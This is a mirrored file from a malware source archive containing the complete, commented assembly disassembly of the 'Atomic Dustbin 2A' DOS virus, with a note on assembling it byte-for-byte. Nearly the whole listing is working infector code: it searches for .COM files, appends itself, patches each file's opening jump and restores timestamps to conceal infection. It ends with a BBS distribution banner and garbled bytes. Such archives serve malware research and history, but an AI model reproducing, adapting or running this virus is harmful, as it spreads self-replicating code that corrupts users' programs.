mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
163 lines
3.8 KiB
NASM
163 lines
3.8 KiB
NASM
;Disassembly of the Atomic Dustbin 2A virus by Memory Lapse.
|
||
|
||
;For a byte-to-byte matchup, assemble with TASM /M2.
|
||
|
||
.model tiny
|
||
|
||
.code
|
||
|
||
org 100h
|
||
|
||
start:
|
||
db 0e9h, 02, 00 ;JMP NEAR PTR STARTVIRUS
|
||
|
||
db 'ML' ;Virus signature.
|
||
startvirus:
|
||
call get_relative
|
||
get_relative:
|
||
pop bp
|
||
sub bp,offset get_relative
|
||
|
||
lea si,[bp+restore_bytes]
|
||
|
||
mov di,100h
|
||
push di
|
||
movsw
|
||
movsw
|
||
movsb ;Restore start of host.
|
||
mov ah,4Eh
|
||
lea dx,[bp+filemask]
|
||
int 21h ;Find first.
|
||
|
||
jc quit_virus
|
||
|
||
call try_infect
|
||
|
||
loc_2:
|
||
mov ah,4Fh
|
||
int 21h ;Find next.
|
||
|
||
jc quit_virus
|
||
call try_infect
|
||
jmp quit_virus
|
||
|
||
nop
|
||
mov ah,09
|
||
lea dx, [bp+message]
|
||
int 21h
|
||
int 20h
|
||
|
||
quit_virus:
|
||
mov bp, 100h
|
||
jmp bp ;Restart host.
|
||
|
||
try_infect:
|
||
mov ax,3D02h
|
||
mov dx,9eh ;Offset of filename in DTA.
|
||
int 21h ;Try to open file in read/write
|
||
;mode.
|
||
|
||
;No error checking!!
|
||
|
||
xchg bx,ax ;Handle more useful in BX.
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx ;CWD!
|
||
int 21h ;Seek to start, but filepos
|
||
;is already equal to BOF.
|
||
|
||
mov ah,3Fh
|
||
mov cx,5
|
||
lea dx,[bp+restore_bytes] ;Read five bytes.
|
||
int 21h
|
||
|
||
cmp word ptr cs:[bp+restore_bytes+3],'LM'
|
||
je loc_2
|
||
mov ax,5700h
|
||
int 21h ;Get file date/time
|
||
|
||
push cx
|
||
push dx ;Save it.
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx ;CWD!
|
||
int 21h ;Seek to EOF.
|
||
|
||
push bx
|
||
|
||
sub ax,3
|
||
lea bx,[bp+jmpdata]
|
||
mov [bx],ax ;JMP constructed.
|
||
pop bx
|
||
mov ah,40h
|
||
mov cx,(endvirus-startvirus)
|
||
lea dx,[bp+startvirus]
|
||
int 21h ;Attach virus to new host.
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx ;CWD!
|
||
int 21h ;Back to bof.
|
||
|
||
mov ah,40h
|
||
mov cx,1
|
||
lea dx,[bp+jump]
|
||
int 21h ;Write first byte of jmp.
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
mov dx,1 ;Seek to bof+1.
|
||
int 21h
|
||
|
||
mov ah,40h
|
||
mov cx,4
|
||
lea dx,[bp+jmpdata]
|
||
int 21h ;And finish the jmp write.
|
||
;(probably some anti-
|
||
;heuristical code)
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h ;back to bof AGAIN.
|
||
|
||
mov ax,5701h
|
||
pop dx
|
||
pop cx
|
||
int 21h ;Restore file date/time.
|
||
|
||
mov ah,3Eh
|
||
int 21h ;Close file - infection
|
||
;complete.
|
||
|
||
ret
|
||
|
||
filemask db '*.COM', 0
|
||
|
||
db '[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$'
|
||
|
||
db '[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$'
|
||
|
||
message db 'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$'
|
||
|
||
jump db 0E9h
|
||
jmpdata dw 0
|
||
|
||
db 'ML'
|
||
|
||
db 00h, 00h
|
||
|
||
restore_bytes:
|
||
int 20h
|
||
nop
|
||
nop
|
||
nop
|
||
endvirus:
|
||
end start
|
||
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|